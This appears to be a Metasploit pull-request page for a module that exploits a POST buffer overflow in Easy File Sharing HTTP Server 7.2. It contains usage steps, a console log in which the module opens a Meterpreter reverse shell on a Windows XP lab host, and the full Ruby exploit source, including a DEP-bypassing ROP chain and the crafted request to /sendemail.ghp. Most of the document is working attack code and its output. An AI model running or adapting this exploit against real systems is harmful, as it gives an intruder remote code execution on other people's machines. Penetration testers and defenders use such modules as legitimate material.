Land #8579, Easy File Sharing HTTP Server 7.2 - Post Overflow exploit
William Webb
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## Description
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This module exploits a vulnerability in the Easy File Sharing Web Server application, by exploiting an overflow in the Email Post parameter, through DEP bypass via ROP chain.
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This module allows a remote attacker to get a payload executed under the context of the user running the Easy File Sharing application
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## Vulnerable Application
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[Easy File Sharing](http://www.sharing-file.com/) is a file sharing software that allows visitors to upload/download files easily through a Web Browser (IE, Firefox, Chrome etc.).
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This module has been tested successfully on
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* Easy File Sharing 7.2 on Windows XP En Sp3
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Installers:
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[Easy File Sharing Installers](http://www.sharing-file.com/efssetup.exe)
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## Verification Steps
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1. Start `msfconsole`
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2. Do: `use exploits/windows/http/easyfilesharing_post`
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3. Do: `set rhosts [IP]`
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4. Do: `exploit`
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5. You should get your payload executed
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## Scenarios
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```
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root@kali:~$ msfconsole -q
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msf > use exploit/windows/http/easyfilesharing_post
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msf exploit(easyfilesharing_post) > set RHOST 192.168.56.101
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RHOST => 192.168.56.101
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msf exploit(easyfilesharing_post) > exploit
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[*] Started reverse TCP handler on 192.168.56.1:4444
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[*] Sending stage (957487 bytes) to 192.168.56.101
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[*] Meterpreter session 1 opened (192.168.56.1:4444 -> 192.168.56.101:1253) at 2017-06-17 22:45:34 +0200
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meterpreter > sysinfo
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Computer : MM
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OS : Windows XP (Build 2600, Service Pack 3).
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Architecture : x86
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System Language : en_US
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Domain : WORKGROUP
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Logged On Users : 2
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Meterpreter : x86/windows
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meterpreter > exit
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[*] Shutting down Meterpreter...
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[*] 192.168.56.101 - Meterpreter session 1 closed. Reason: User exit
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msf exploit(easyfilesharing_post) >
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```
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##
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# This module requires Metasploit: http://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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Rank = NormalRanking
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include Msf::Exploit::Remote::Tcp
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#include Msf::Exploit::Remote::HttpClient
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Easy File Sharing HTTP Server 7.2 POST Buffer Overflow',
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'Description' => %q{
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This module exploits a POST buffer overflow in the Easy File Sharing FTP Server 7.2 software.
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},
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'Author' =>
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[
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'bl4ck h4ck3r', #POC
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'Marco Rivoli <marco.rivoli.nvh[at]gmail.com>' #Metasploit
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],
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'License' => MSF_LICENSE,
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'References' =>
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[
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[ 'EDB', '42186' ],
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],
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'Privileged' => true,
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'Payload' =>
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{
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'BadChars' => "\x00\x7e\x2b\x26\x3d\x25\x3a\x22\x0a\x0d\x20\x2f\x5c\x2e",
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},
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'Platform' => 'win',
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'Targets' =>
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[
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[ 'Easy File Sharing 7.2 HTTP', { 'Ret' => 0x1002280a } ],
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],
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'DefaultOptions' => {
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'RPORT' => 80,
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'EXITFUNC' => 'thread',
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'ENCODER' => 'x86/alpha_mixed'
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},
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'DisclosureDate' => 'Jun 12 2017',
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'DefaultTarget' => 0))
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end
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def create_rop_chain
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# rop chain generated with mona.py - www.corelan.be
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rop_gadgets = [
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# 0x00000000, # [-] Unable to find gadget to put 00000201 into ebx
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0x10015442, # POP EAX # RETN [ImageLoad.dll]
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0xFFFFFDFE, # -202
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0x100231d1, # NEG EAX # RETN [ImageLoad.dll]
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0x1001da09, # ADD EBX,EAX # MOV EAX,DWORD PTR SS:[ESP+C] # INC DWORD PTR DS:[EAX] # RETN [ImageLoad.dll]| {PAGE_EXECUTE_READ}
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0x1001a858, # RETN (ROP NOP) [ImageLoad.dll]
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0x1001a858, # RETN (ROP NOP) [ImageLoad.dll]
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0x10015442, # POP EAX # RETN [ImageLoad.dll]
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0x1004de84, # &Writable location [ImageLoad.dll]
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0x10015442, # POP EAX # RETN [ImageLoad.dll]
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0x61c832d0, # ptr to &VirtualProtect() [IAT sqlite3.dll]
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0x1002248c, # MOV EAX,DWORD PTR DS:[EAX] # RETN [ImageLoad.dll]
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0x61c0a798, # XCHG EAX,EDI # RETN [sqlite3.dll]
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0x1001d626, # XOR ESI,ESI # RETN [ImageLoad.dll]
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0x10021a3e, # ADD ESI,EDI # RETN 0x00 [ImageLoad.dll]
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0x100218f9, # POP EBP # RETN [ImageLoad.dll]
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0x61c24169, # & push esp # ret [sqlite3.dll]
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0x10022c4c, # XOR EDX,EDX # RETN [ImageLoad.dll]
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0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
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0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
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0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
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0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
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0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
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0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
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0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
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0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
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0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
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0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
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0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
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0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
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0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
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0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
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0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
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0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
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0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
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0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
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0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
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0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
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0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
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0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
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0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
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0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
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0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
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0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
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0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
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0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
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0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
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0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
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0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
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0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
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0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
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0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
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0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
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0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
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0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
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0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
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0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
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0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
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0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
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0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
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0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
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0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
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0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
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0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
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0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
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0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
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0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
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0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
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0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
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0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
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0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
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0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
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0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
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0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
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0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
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0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
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0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
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0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
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0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
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0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
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0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
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0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
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0x1001bd98, # POP ECX # RETN [ImageLoad.dll]
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0x1004de84, # &Writable location [ImageLoad.dll]
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0x61c373a4, # POP EDI # RETN [sqlite3.dll]
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0x1001a858, # RETN (ROP NOP) [ImageLoad.dll]
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0x10015442, # POP EAX # RETN [ImageLoad.dll]
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0x90909090, # nop
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0x100240c2, # PUSHAD # RETN [ImageLoad.dll]
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].flatten.pack('V*')
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return rop_gadgets
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end
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def exploit
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sploit = rand_text_alpha_upper(2278)
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rop_chain = create_rop_chain
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sploit << rop_chain
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sploit << "\x90" * 200
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sploit << payload.encoded
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sploit << rand_text_alpha_upper(1794 - 200 - payload.encoded.length - rop_chain.length)
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sploit << [target.ret].pack('V')
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request = "POST /sendemail.ghp HTTP/1.1\r\n\r\nEmail=#{sploit}&getPassword=Get+Password"
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connect
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sock.put(request)
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handler
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disconnect
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end
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end
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